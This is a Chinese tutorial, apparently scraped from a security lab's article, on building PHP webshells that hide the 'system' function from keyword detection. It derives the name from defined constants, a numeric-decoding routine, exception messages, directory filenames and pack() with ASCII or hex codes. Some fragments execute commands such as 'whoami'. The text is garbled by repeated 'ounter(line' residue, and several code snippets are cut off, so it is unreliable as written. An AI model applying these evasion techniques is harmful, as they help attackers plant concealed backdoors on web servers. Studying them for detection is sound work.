浅谈 webshell 构造之如何获取恶意函数

B站影视 内地电影 2025-07-04 01:31 1

摘要:ounter(lineounter(lineounter(lineounter(line

这篇文章主要是总结一下自己学习过的如何获取恶意函数的篇章,重点是在如何获取恶意函数

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_functions — 返回所有已定义函数的数组

我们主要是可以通过这个获取危险的函数

比如

比如

当然还有许多,如何执行命令就很简单了

代码如下

ounter(lineounter(lineounter(lineounter(line

get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值

那获取的常量是不是可以为我们所用呢?

可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗

代码如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line $value){if (substr($key,0,7)=="INI_SYS"){$x= strtolower(substr($key,4,6));$x("whoami");}}?>

通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line10) {$tmp .= $s[$a];$a = $a/10;}return $tmp.$s[$a];}

现在还没有看出端倪,但是当你运行这串代码的时候

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line10) {$tmp .= $s[$a];$a = $a/10;}return $tmp.$s[$a];}echo fun;

这个手法也是比较特殊的

我们可以随便找一个异常类

比如 ParseError,然后再加上我们刚刚的自定义方法

ParseError 当解析 PHP 代码时发生错误时抛出,比如当 eval 被调用出错时。

它的一些属性和方法

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/* 继承的属性 */protected string $message = "";private string $string = "";protected int $code;protected string $File = "";protected int $line;private array $trace = ;private ?Throwable $previous = null;/* 继承的方法 */public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)final public Error::getMessage: stringfinal public Error::getPrevious: ?Throwablefinal public Error::getCode: intfinal public Error::getFile: stringfinal public Error::getLine: intfinal public Error::getTrace: arrayfinal public Error::getTraceAsString: stringpublic Error::__toString: stringprivate Error::__clone: void

可以看到都是基础父类的

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineException::__construct — 异常构造函数Exception::getMessage — 获取异常消息内容Exception::getPrevious — 返回前一个 ThrowableException::getCode — 获取异常代码Exception::getFile — 创建异常时的程序文件名称Exception::getLine — 获取创建的异常所在文件中的行号Exception::getTrace — 获取异常追踪信息Exception::getTraceAsString — 获取字符串类型的异常追踪信息Exception::__toString — 将异常对象转换为字符串Exception::__clone — 异常克隆

根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗

代码如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line10) {$tmp .= $s[$a];$a = $a/10;}return $tmp.$s[$a];}$a = new ParseError(fun);echo $a->getMessage;

The DirectoryIterator class provides a simple interface for viewing the contents of Filesystem directories.

它的一些方法

DirectoryIterator::__construct — Constructs a new directory iterator from a pathDirectoryIterator::current — Return the current DirectoryIterator itemDirectoryIterator::getBasename — Get base name of current DirectoryIterator itemDirectoryIterator::getExtension — Gets the file extensionDirectoryIterator::getFilename — Return file name of current DirectoryIterator itemDirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'DirectoryIterator::key — Return the key for the current DirectoryIterator itemDirectoryIterator::next — Move forward to next DirectoryIterator itemDirectoryIterator::rewind — Rewind the DirectoryIterator back to the startDirectoryIterator::seek — Seek to a DirectoryIterator itemDirectoryIterator::__toString — Get file name as a stringDirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

其中大概看一下,其实

DirectoryIterator::getFilename 就有利用的可能

DirectoryIterator::getFilename — Return file name of current DirectoryIterator item

看一下官方的例子

ounter(linegetFilename . "\n";}?>

以上示例的输出类似于:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line...apple.jpgbanana.jpgindex.phppear.jpg

那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗

代码如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linegetFilename . "\n";}?>

运行结果

确实是获取到了

pack

pack(string$format, mixed...$values): string

将输入参数打包成 format 格式的二进制字符串。

这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。

注意,有符号值和无符号值之间的区别只影响函数 unpack,在那些使用有符号和无符号格式代码的地方 pack 函数产生相同的结果。

看了一下大概,再看下官方的例子

这是一些它的格式

示例 #1 *pack* 范例

ounter(line

输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。

那我们按照构造出 system 的思路

ounter(lineounter(lineounter(lineounter(lineounter(line

这两个结果都是 system

"C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。传入的参数115, 121, 115, 116, 101, 109是 ASCII 码值。115 对应的字符是 s121 对应的字符是 y115 对应的字符是 s116 对应的字符是 t101 对应的字符是 e109 对应的字符是 mounter(line

构造出来的就是 system

"H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。73797374656d是一个十六进制表示的字符串。将其转换为 ASCII 字符:构造出来的也是system

来源:蚁景网安实验室

相关推荐